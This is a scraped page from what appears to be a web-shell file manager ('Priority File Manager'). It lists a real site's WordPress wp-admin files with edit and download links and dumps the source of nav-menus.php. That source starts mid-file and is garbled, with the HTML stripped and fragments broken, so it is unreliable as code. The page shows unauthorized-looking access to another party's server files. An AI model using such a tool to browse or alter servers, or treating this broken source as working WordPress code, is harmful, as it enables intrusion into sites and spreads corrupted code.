Priority File Manager

📁 public_html
Base Directory:
/home/ecedu/public_html/wp-admin
NameTypeSizeActions
📁 .. Folder -
📄 about.php File 20107
Edit Download
📄 admin-ajax.php File 5146
Edit Download
📄 admin-footer.php File 2834
Edit Download
📄 admin-functions.php File 479
Edit Download
📄 admin-header.php File 9336
Edit Download
📄 admin-post.php File 2021
Edit Download
📄 admin.php File 12597
Edit Download
📄 async-upload.php File 4983
Edit Download
📄 authorize-application.php File 10335
Edit Download
📄 comment.php File 11622
Edit Download
📄 contribute.php File 5727
Edit Download
📄 credits.php File 4212
Edit Download
📁 css Folder -
📄 custom-background.php File 489
Edit Download
📄 custom-header.php File 499
Edit Download
📄 customize.php File 11174
Edit Download
📄 edit-comments.php File 14726
Edit Download
📄 edit-form-advanced.php File 29527
Edit Download
📄 edit-form-blocks.php File 14713
Edit Download
📄 edit-form-comment.php File 8543
Edit Download
📄 edit-link-form.php File 6354
Edit Download
📄 edit-tag-form.php File 10688
Edit Download
📄 edit-tags.php File 22533
Edit Download
📄 edit.php File 19952
Edit Download
📄 erase-personal-data.php File 7505
Edit Download
📄 export-personal-data.php File 7941
Edit Download
📄 export.php File 11288
Edit Download
📄 freedoms.php File 4645
Edit Download
📁 images Folder -
📄 import.php File 7766
Edit Download
📁 includes Folder -
📄 index.php File 7864
Edit Download
📄 install-helper.php File 6961
Edit Download
📄 install.php File 18374
Edit Download
📁 js Folder -
📄 link-add.php File 934
Edit Download
📄 link-manager.php File 4361
Edit Download
📄 link-parse-opml.php File 2697
Edit Download
📄 link.php File 2957
Edit Download
📄 load-scripts.php File 2070
Edit Download
📄 load-styles.php File 2995
Edit Download
📁 maint Folder -
📄 media-new.php File 3261
Edit Download
📄 media-upload.php File 3668
Edit Download
📄 media.php File 819
Edit Download
📄 menu-header.php File 10059
Edit Download
📄 menu.php File 17374
Edit Download
📄 moderation.php File 307
Edit Download
📄 ms-admin.php File 196
Edit Download
📄 ms-delete-site.php File 4294
Edit Download
📄 ms-edit.php File 216
Edit Download
📄 ms-options.php File 229
Edit Download
📄 ms-sites.php File 215
Edit Download
📄 ms-themes.php File 217
Edit Download
📄 ms-upgrade-network.php File 219
Edit Download
📄 ms-users.php File 215
Edit Download
📄 my-sites.php File 4858
Edit Download
📄 nav-menus.php File 49417
Edit Download
📁 network Folder -
📄 network.php File 5522
Edit Download
📄 options-discussion.php File 15767
Edit Download
📄 options-general.php File 22095
Edit Download
📄 options-head.php File 621
Edit Download
📄 options-media.php File 6505
Edit Download
📄 options-permalink.php File 21718
Edit Download
📄 options-privacy.php File 10190
Edit Download
📄 options-reading.php File 10266
Edit Download
📄 options-writing.php File 9317
Edit Download
📄 options.php File 13768
Edit Download
📄 plugin-editor.php File 13991
Edit Download
📄 plugin-install.php File 7124
Edit Download
📄 plugins.php File 30724
Edit Download
📄 post-new.php File 2768
Edit Download
📄 post.php File 10209
Edit Download
📄 press-this.php File 2396
Edit Download
📄 privacy-policy-guide.php File 3756
Edit Download
📄 privacy.php File 2583
Edit Download
📄 profile.php File 283
Edit Download
📄 revision.php File 5851
Edit Download
📄 setup-config.php File 17904
Edit Download
📄 site-editor.php File 12115
Edit Download
📄 site-health-info.php File 4088
Edit Download
📄 site-health.php File 10443
Edit Download
📄 term.php File 2249
Edit Download
📄 theme-editor.php File 15964
Edit Download
📄 theme-install.php File 23926
Edit Download
📄 themes.php File 49276
Edit Download
📄 tools.php File 3514
Edit Download
📄 update-core.php File 46519
Edit Download
📄 update.php File 13092
Edit Download
📄 upgrade-functions.php File 341
Edit Download
📄 upgrade.php File 6477
Edit Download
📄 upload.php File 15199
Edit Download
📁 user Folder -
📄 user-edit.php File 40744
Edit Download
📄 user-new.php File 24623
Edit Download
📄 users.php File 23838
Edit Download
📄 widgets-form-blocks.php File 5086
Edit Download
📄 widgets-form.php File 19625
Edit Download
📄 widgets.php File 1112
Edit Download
' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '

', 403 ); } // Used in the HTML title tag. $title = __( 'Menus' ); wp_enqueue_script( 'nav-menu' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } // Container for any messages displayed to the user. $messages = array(); // Container that stores the name of the active menu. $nav_menu_selected_title = ''; // The menu id of the current menu being edited. $nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0; // Get existing menu locations assignments. $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); $num_locations = count( array_keys( $locations ) ); // Allowed actions: add, update, delete. $action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'edit'; /* * If a JSON blob of navigation menu data is found, expand it and inject it * into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134. */ _wp_expand_nav_menu_post_data(); switch ( $action ) { case 'add-menu-item': check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' ); if ( isset( $_REQUEST['nav-menu-locations'] ) ) { set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) ); } elseif ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] ); } break; case 'move-down-menu-item': // Moving down a menu item is the same as moving up the next in order. check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { $menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // Get next in order. if ( isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ] ) ) { $next_item_id = $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ]; $next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) ); // If not siblings of same parent, bubble menu item up but keep order. if ( ! empty( $menu_item_data['menu_item_parent'] ) && ( empty( $next_item_data['menu_item_parent'] ) || (int) $next_item_data['menu_item_parent'] !== (int) $menu_item_data['menu_item_parent'] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } // Make menu item a child of its next sibling. } else { $next_item_data['menu_order'] = $next_item_data['menu_order'] - 1; $menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1; $menu_item_data['menu_item_parent'] = $next_item_data['ID']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $next_item_data ); } // The item is last but still has a parent, so bubble up. } elseif ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true ); // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } } } break; case 'move-up-menu-item': check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { if ( isset( $_REQUEST['menu'] ) ) { $menus = array( (int) $_REQUEST['menu'] ); } else { $menus = wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); } if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // If this menu item is not first. if ( ! empty( $dbids_to_orders[ $menu_item_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { // If this menu item is a child of the previous. if ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) && isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) && ( (int) $menu_item_data['menu_item_parent'] === $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; /* * If there is something before the parent and parent a child of it, * make menu item a child also of it. */ if ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) && ! empty( $parent_data['menu_item_parent'] ) ) { $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; /* * Else if there is something before parent and parent not a child of it, * make menu item a child of that something's parent */ } elseif ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) ) { $_possible_parent_id = (int) get_post_meta( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ], '_menu_item_menu_item_parent', true ); if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ), true ) ) { $menu_item_data['menu_item_parent'] = $_possible_parent_id; } else { $menu_item_data['menu_item_parent'] = 0; } // Else there isn't something before the parent. } else { $menu_item_data['menu_item_parent'] = 0; } // Set former parent's [menu_order] to that of menu-item's. $parent_data['menu_order'] = $parent_data['menu_order'] + 1; // Set menu-item's [menu_order] to that of former parent. $menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1; // Save changes. update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $parent_data ); } // Else this menu item is not a child of the previous. } elseif ( empty( $menu_item_data['menu_order'] ) || empty( $menu_item_data['menu_item_parent'] ) || ! in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) || empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) || $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] !== (int) $menu_item_data['menu_item_parent'] ) { // Just make it a child of the previous; keep the order. $menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ]; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); } } } } break; case 'delete-menu-item': $menu_item_id = (int) $_REQUEST['menu-item']; check_admin_referer( 'delete-menu_item_' . $menu_item_id ); if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) ) { $messages[] = wp_get_admin_notice( __( 'The menu item has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete': check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id ); if ( is_nav_menu( $nav_menu_selected_id ) ) { $deletion = wp_delete_nav_menu( $nav_menu_selected_id ); } else { // Reset the selected menu. $nav_menu_selected_id = 0; unset( $_REQUEST['menu'] ); } if ( ! isset( $deletion ) ) { break; } if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $messages[] = wp_get_admin_notice( __( 'The menu has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete_menus': check_admin_referer( 'nav_menus_bulk_actions' ); foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) { if ( ! is_nav_menu( $menu_id_to_delete ) ) { continue; } $deletion = wp_delete_nav_menu( $menu_id_to_delete ); if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $deletion_error = true; } } if ( empty( $deletion_error ) ) { $messages[] = wp_get_admin_notice( __( 'Selected menus have been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'update': check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' ); // Merge new and existing menu locations if any new ones are set. $new_menu_locations = array(); if ( isset( $_POST['menu-locations'] ) ) { $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); } // Add Menu. if ( 0 === $nav_menu_selected_id ) { $new_menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( $new_menu_title ) { $_nav_menu_selected_id = wp_update_nav_menu_object( 0, array( 'menu-name' => $new_menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_id = $_nav_menu_selected_id; $nav_menu_selected_title = $_menu_object->name; if ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) ); } if ( isset( $_REQUEST['zero-menu-state'] ) || ! empty( $_POST['auto-add-pages'] ) ) { // If there are menu items, add them. wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ); } if ( isset( $_REQUEST['zero-menu-state'] ) ) { // Auto-save nav_menu_locations. $locations = get_nav_menu_locations(); foreach ( $locations as $location => $menu_id ) { $locations[ $location ] = $nav_menu_selected_id; break; // There should only be 1. } set_theme_mod( 'nav_menu_locations', $locations ); } elseif ( count( $new_menu_locations ) > 0 ) { // If locations have been selected for the new menu, save those. $locations = get_nav_menu_locations(); foreach ( array_keys( $new_menu_locations ) as $location ) { $locations[ $location ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $locations ); } if ( isset( $_REQUEST['use-location'] ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); if ( isset( $locations[ $_REQUEST['use-location'] ] ) ) { $menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $menu_locations ); } wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) ); exit; } } else { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } // Update existing menu. } else { // Remove menu locations that have been unchecked. foreach ( $locations as $location => $description ) { if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) ) && isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] === $nav_menu_selected_id ) { unset( $menu_locations[ $location ] ); } } // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( ! $menu_title ) { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $menu_title = $_menu_object->name; } if ( ! is_wp_error( $_menu_object ) ) { $_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $_menu_object = $_nav_menu_selected_id; $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_title = $_menu_object->name; } } // Update menu items. if ( ! is_wp_error( $_menu_object ) ) { $messages = array_merge( $messages, wp_nav_menu_update_menu_items( $_nav_menu_selected_id, $nav_menu_selected_title ) ); // If the menu ID changed, redirect to the new URL. if ( $nav_menu_selected_id !== $_nav_menu_selected_id ) { wp_redirect( admin_url( 'nav-menus.php?menu=' . (int) $_nav_menu_selected_id ) ); exit; } } } break; case 'locations': if ( ! $num_locations ) { wp_redirect( admin_url( 'nav-menus.php' ) ); exit; } add_filter( 'screen_options_show_screen', '__return_false' ); if ( isset( $_POST['menu-locations'] ) ) { check_admin_referer( 'save-menu-locations' ); $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $messages[] = wp_get_admin_notice( __( 'Menu locations updated.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; } // Get all nav menus. $nav_menus = wp_get_nav_menus(); $menu_count = count( $nav_menus ); // Are we on the add new screen? $add_new_screen = ( isset( $_GET['menu'] ) && 0 === (int) $_GET['menu'] ) ? true : false; $locations_screen = ( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) ? true : false; $page_count = wp_count_posts( 'page' ); /* * If we have one theme location, and zero menus, we take them right * into editing their first menu. */ if ( 1 === count( get_registered_nav_menus() ) && ! $add_new_screen && empty( $nav_menus ) && ! empty( $page_count->publish ) ) { $one_theme_location_no_menus = true; } else { $one_theme_location_no_menus = false; } $nav_menus_l10n = array( 'oneThemeLocationNoMenus' => $one_theme_location_no_menus, 'moveUp' => __( 'Move up one' ), 'moveDown' => __( 'Move down one' ), 'moveToTop' => __( 'Move to the top' ), /* translators: %s: Previous item name. */ 'moveUnder' => __( 'Move under %s' ), /* translators: %s: Previous item name. */ 'moveOutFrom' => __( 'Move out from under %s' ), /* translators: %s: Previous item name. */ 'under' => __( 'Under %s' ), /* translators: %s: Previous item name. */ 'outFrom' => __( 'Out from under %s' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items. */ 'menuFocus' => __( 'Edit %1$s (%2$s, %3$d of %4$d)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent. */ 'subMenuFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent, 6: Item depth. */ 'subMenuMoreDepthFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s, level %6$d)' ), /* translators: %s: Item name. */ 'menuItemDeletion' => __( 'item %s' ), /* translators: %s: Item name. */ 'itemsDeleted' => __( 'Deleted menu item: %s.' ), 'itemAdded' => __( 'Menu item added' ), 'itemRemoved' => __( 'Menu item removed' ), 'movedUp' => __( 'Menu item moved up' ), 'movedDown' => __( 'Menu item moved down' ), 'movedTop' => __( 'Menu item moved to the top' ), 'movedLeft' => __( 'Menu item moved out of submenu' ), 'movedRight' => __( 'Menu item is now a sub-item' ), 'parentUpdated' => __( 'Menu parent updated' ), 'orderUpdated' => __( 'Menu order updated' ), ); wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n ); /* * Redirect to add screen if there are no menus and this users has either zero, * or more than 1 theme locations. */ if ( 0 === $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus ) { wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) ); } // Get recently edited nav menu. $recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) ); if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) ) { $recently_edited = $nav_menu_selected_id; } // Use $recently_edited if none are selected. if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) ) { $nav_menu_selected_id = $recently_edited; } // On deletion of menu, if another menu exists, show it. if ( ! $add_new_screen && $menu_count > 0 && isset( $_GET['action'] ) && 'delete' === $_GET['action'] ) { $nav_menu_selected_id = $nav_menus[0]->term_id; } // Set $nav_menu_selected_id to 0 if no menus. if ( $one_theme_location_no_menus ) { $nav_menu_selected_id = 0; } elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) { // If we have no selection yet, and we have menus, set to the first one in the list. $nav_menu_selected_id = $nav_menus[0]->term_id; } // Update the user's setting. if ( $nav_menu_selected_id !== $recently_edited && is_nav_menu( $nav_menu_selected_id ) ) { update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id ); } // If there's a menu, get its name. if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) { $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : ''; } // Generate truncated menu names. foreach ( (array) $nav_menus as $key => $_nav_menu ) { $nav_menus[ $key ]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '…' ); } // Retrieve menu locations. if ( current_theme_supports( 'menus' ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); } /* * Ensure the user will be able to scroll horizontally * by adding a class for the max menu depth. * * @global int $_wp_nav_menu_max_depth */ global $_wp_nav_menu_max_depth; $_wp_nav_menu_max_depth = 0; // Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth. if ( is_nav_menu( $nav_menu_selected_id ) ) { $menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) ); $edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id ); } /** * @global int $_wp_nav_menu_max_depth * * @since 3.0.0 * * @param string $classes * @return string */ function wp_nav_menu_max_depth( $classes ) { global $_wp_nav_menu_max_depth; return "$classes menu-max-depth-$_wp_nav_menu_max_depth"; } add_filter( 'admin_body_class', 'wp_nav_menu_max_depth' ); wp_nav_menu_setup(); wp_initial_nav_menu_meta_boxes(); if ( ! current_theme_supports( 'menus' ) && ! $num_locations ) { $message_no_theme_support = sprintf( /* translators: %s: URL to Widgets screen. */ __( 'Your theme does not natively support menus, but you can use them in sidebars by adding a “Navigation Menu” widget on the Widgets screen.' ), admin_url( 'widgets.php' ) ); $messages[] = wp_get_admin_notice( $message_no_theme_support, array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } if ( ! $locations_screen ) : // Main tab. $overview = '

' . __( 'This screen is used for managing your navigation menus.' ) . '

'; $overview .= '

' . sprintf( /* translators: 1: URL to Widgets screen, 2 and 3: The names of the default themes. */ __( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a “Navigation Menu” widget on the Widgets screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the documentation link to the side.' ), admin_url( 'widgets.php' ), 'Twenty Twenty', 'Twenty Twenty-One' ) . '

'; $overview .= '

' . __( 'From this screen you can:' ) . '

'; $overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $overview, ) ); $menu_management = '

' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '

'; $menu_management .= ''; $menu_management .= '

' . __( 'You can assign theme locations to individual menus by selecting the desired settings at the bottom of the menu editor. To assign menus to all theme locations at once, visit the Manage Locations tab at the top of the screen.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'menu-management', 'title' => __( 'Menu Management' ), 'content' => $menu_management, ) ); $editing_menus = '

' . __( 'Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '

'; $editing_menus .= '

' . __( 'Clicking the arrow to the right of any menu item in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '

'; $editing_menus .= ''; get_current_screen()->add_help_tab( array( 'id' => 'editing-menus', 'title' => __( 'Editing Menus' ), 'content' => $editing_menus, ) ); else : // Locations tab. $locations_overview = '

' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '

'; $locations_overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'locations-overview', 'title' => __( 'Overview' ), 'content' => $locations_overview, ) ); endif; get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Menus' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // Get the admin header. require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

'menu_locations' ) : array( 'panel' => 'nav_menus' ); printf( ' %2$s', esc_url( add_query_arg( array( array( 'autofocus' => $focus ), 'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), ), admin_url( 'customize.php' ) ) ), __( 'Manage with Live Preview' ) ); endif; $nav_tab_active_class = ''; $nav_aria_current = ''; if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' !== $_GET['action'] ) { $nav_tab_active_class = ' nav-tab-active'; $nav_aria_current = ' aria-current="page"'; } ?>
' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '

'; } else { echo '

' . sprintf( /* translators: %s: Number of menus. */ _n( 'Your theme supports %s menu. Select which menu appears in each location.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '

'; } ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>